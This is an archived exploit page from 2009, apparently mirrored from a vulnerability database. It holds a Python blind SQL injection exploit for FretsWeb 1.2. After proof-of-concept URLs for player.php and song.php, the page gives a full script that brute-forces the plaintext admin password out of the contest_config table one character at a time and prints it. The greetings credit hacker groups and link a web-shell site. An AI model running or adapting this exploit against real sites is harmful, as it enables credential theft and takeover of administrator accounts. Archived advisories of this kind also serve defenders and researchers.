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securityvulnsSecurityvulnsSECURITYVULNS:DOC:22064
HistoryJun 22, 2009 - 12:00 a.m.

FretsWeb 1.2 (name) Remote Blind SQL Injection Exploit

2009-06-2200:00:00
vulners.com
9

#!/usr/bin/python
#***********************************************************************************************
#***********************************************************************************************
#** **
#** **
#** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
#** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **

[> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **

#** [-----[]-----[][][][>–[]–[]-[]—[][][]–[]-[]–[]--------[]-----[][][][>–[][][][]—\
#==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>–
#
[----[[]]----[]— ----[]-----[]—[]–[]-----[]–[]-------[] []—[]----------[]–[]—/

[> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] []

#** **
#** **
#** VIVA SPAIN!.. GANAREMOS EL MUNDIAL!..o.O **
#** PROUD TO BE SPANISH! **
#** **
#***********************************************************************************************
#***********************************************************************************************

#---------------------------------------------------------------------------------------------
#| (GET var 'name') BLIND SQL INJECTION EXPLOIT |
#|-------------------------------------------------------------------------------------------|
#| | FretsWeb 1.2 | |
#| CMS INFORMATION: ------------------------ |
#| |
#|–>WEB: http://sourceforge.net/projects/fretsweb/ |
#|–>DOWNLOAD: http://sourceforge.net/projects/fretsweb/ |
#|–>DEMO: N/A |
#|–>CATEGORY: CMS / Games/Entertainment |
#|–>DESCRIPTION: Fretsweb is a Contest or Chart Server for Frets on Fire. It… |
#| is an improved version of FoFCS.It is meant for… |
#|–>RELEASED: 2009-05-30 |
#| |
#| CMS VULNERABILITY: |
#| |
#|–>TESTED ON: firefox 3 |
#|–>DORK: N/A |
#|–>CATEGORY: BLIND SQLi PYTHON EXPLOIT |
#|–>AFFECT VERSION: CURRENT (MAYBE <= ?) |
#|–>Discovered Bug date: 2009-06-02 |
#|–>Reported Bug date: 2009-06-02 |
#|–>Fixed bug date: 2009-06-14 |
#|–>Info patch: http://sourceforge.net/projects/fretsweb/ |
#|–>Author: YEnH4ckEr |
#|–>mail: y3nh4ck3r[at]gmail[dot]com |
#|–>WEB/BLOG: N/A |
#|–>COMMENT: A mi novia Marijose…hermano,cunyada, padres (y amigos xD) por su apoyo. |
#|–>EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
#---------------------------------------------------------------------------------------------

#------------
#CONDITIONS:
#------------

#magic quotes=OFF

#-------
#NEED:
#-------

#Valid name

#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------

#http://[HOST]/[PATH]/player.php?name=[valid_name]'+and+1=1%23 –> TRUE
#http://[HOST]/[PATH]/player.php?name=[valid_name]'+AND+1=0%23 –> FALSE

#http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=1%23 –> TRUE
#http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=0%23 –> FALSE

#--------------
#WATCH VIDEOS
#--------------

BSQLi –> http://www.youtube.com/watch?v=BYrkuAN2ggI

LFI –> http://www.youtube.com/watch?v=LZ8cG_sIHow

##############################################################################
##############################################################################
##**************************************************************************##

SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!

####
##--------------------------------------------------------------------------##
##
##

GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##

Author : xhaxkerx

Special Thankz : yasin

site : http://www.c99.mobi

##**************************************************************************##
##############################################################################
##############################################################################

#Used modules
import urllib,sys,re,os
#Defined functions
def init():
if(sys.platform=='win32'):
os.system("cls")
os.system ("title FretsWeb 1.2 Blind SQL Injection Exploit")
os.system ("color 02")
else:
os.sytem("clear")
print "\t#######################################################\n\n"
print "\t#######################################################\n\n"
print "\t## FretsWeb 1.2 Blind SQL Injection Exploit ##\n\n"
print "\t## ++Conditions: magic_quotes=OFF ##\n\n"
print "\t## ++Needed: Valid name ##\n\n"
print "\t## Author: Y3nh4ck3r ##\n\n"
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n"
print "\t## Proud to be Spanish! ##\n\n"
print "\t#######################################################\n\n"
print "\t#######################################################\n\n"

def request(urltarget):
conn=urllib.urlopen(urltarget)
outcode=conn.read()
#print outcode #–> Active this line for debugger mode
return outcode

def error():
print "\t------------------------------------------------------------\n"
print "\tWeb isn't vulnerable!\n\n"
print "\t—>Maybe:\n\n"
print "\t\t1.-Patched.\n"
print "\t\t2.-Bad path or host.\n"
print "\t\t3.-Bad name.\n"
print "\t\t4.-Magic quotes ON.\n"
print "\t\tEXPLOIT FAILED!\n"
print "\t------------------------------------------------------------\n"
sys.exit()

def testedblindsql():
print "\t-----------------------------------------------------------------\n"
print "\tWEB MAYBE BE VULNERABLE!\n\n"
print "\tTested Blind SQL Injection.\n"
print "\tStarting exploit…\n"
print "\t-----------------------------------------------------------------\n\n"

def helper(filename):
print "\n\t[!!!] FretsWeb 1.2 Blind SQL Injection Exploit\n"
print "\t[!!!] USAGE MODE: [!!!]\n"
print "\t[!!!] python "+filename+" [HOST] [PATH] [NAME]\n"
print "\t[!!!] [HOST]: Web.\n"
print "\t[!!!] [PATH]: Home Path.\n"
print "\t[!!!] [NAME]: Name for fish\n"
print "\t[!!!] Example: python "+filename+" 'www.example.com' 'demo' 'y3nh4ck3r'\n"
sys.exit()

def brute_length(urlrequest):
#Username length
flag=1
i=0
while(flag==1):
i=i+1

blindsql=urlrequest+"'+AND+(SELECT+length(value)+FROM+contest_config+WHERE+name='admin_password')="+str(i)+"%23"
#injected code
output=request(blindsql)
if(re.search("<title>Fretsweb - Player</title>",output)):
flag=2
else:
flag=1
#This is the max length of username
if (i>50):
error()
#Save column length
length=i
print "\t<<<<<--------------------------------------------------------->>>>>\n"
print "\tLength catched!\n"
print "\tLength Username –> "+str(length)+"\n"
print "\tWait several minutes…\n"
print "\t<<<<<--------------------------------------------------------->>>>>\n\n"
return length

def exploiting (lengthvalue,urlrequest):
#Bruteforcing values
values=""
k=1
z=32
while((k<=lengthvalue) and (z<=126)):

blindsql=urlrequest+"'+AND+ascii(substring((SELECT+value+FROM+contest_config+WHERE+name='admin_password'),"+str(k)+",1))="+str(z)+"%23"
#injected code
output=request(blindsql)
if(re.search("<title>Fretsweb - Player</title>",output)):
values=values+chr(z)
k=k+1
z=32
#new char
z=z+1
return values
#Main
init()
#Init variables
if(len(sys.argv) <= 3):
helper(sys.argv[0])

host=sys.argv[1]
path=sys.argv[2]
nameforfish=sys.argv[3]
finalrequest="http://"+host+"/"+path+"/player.php?name="+nameforfish
testblind1=finalrequest+"'+AND+1=1%23" #Return true
outcode1=request(testblind1)
testblind2=finalrequest+"'+AND+1=0%23" #Return false
outcode2=request(testblind2)
#Check BSQLi
if(outcode1==outcode2):
error()
else:
testedblindsql()
#Catching length of admin password
lengthadmin=brute_length(finalrequest)
#Catching value of password (not hashed)
passwordadmin=exploiting(lengthadmin,finalrequest)
print "\n\t\t*************************************************\n"
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY********\n"
print "\t\t*************************************************\n\n"
print "\t\tAdmin-password: "+passwordadmin+"\n\n"
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"
print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n"
print "\t\t<<------------------------EOF---------------------->>\n\n"
#Check all arguments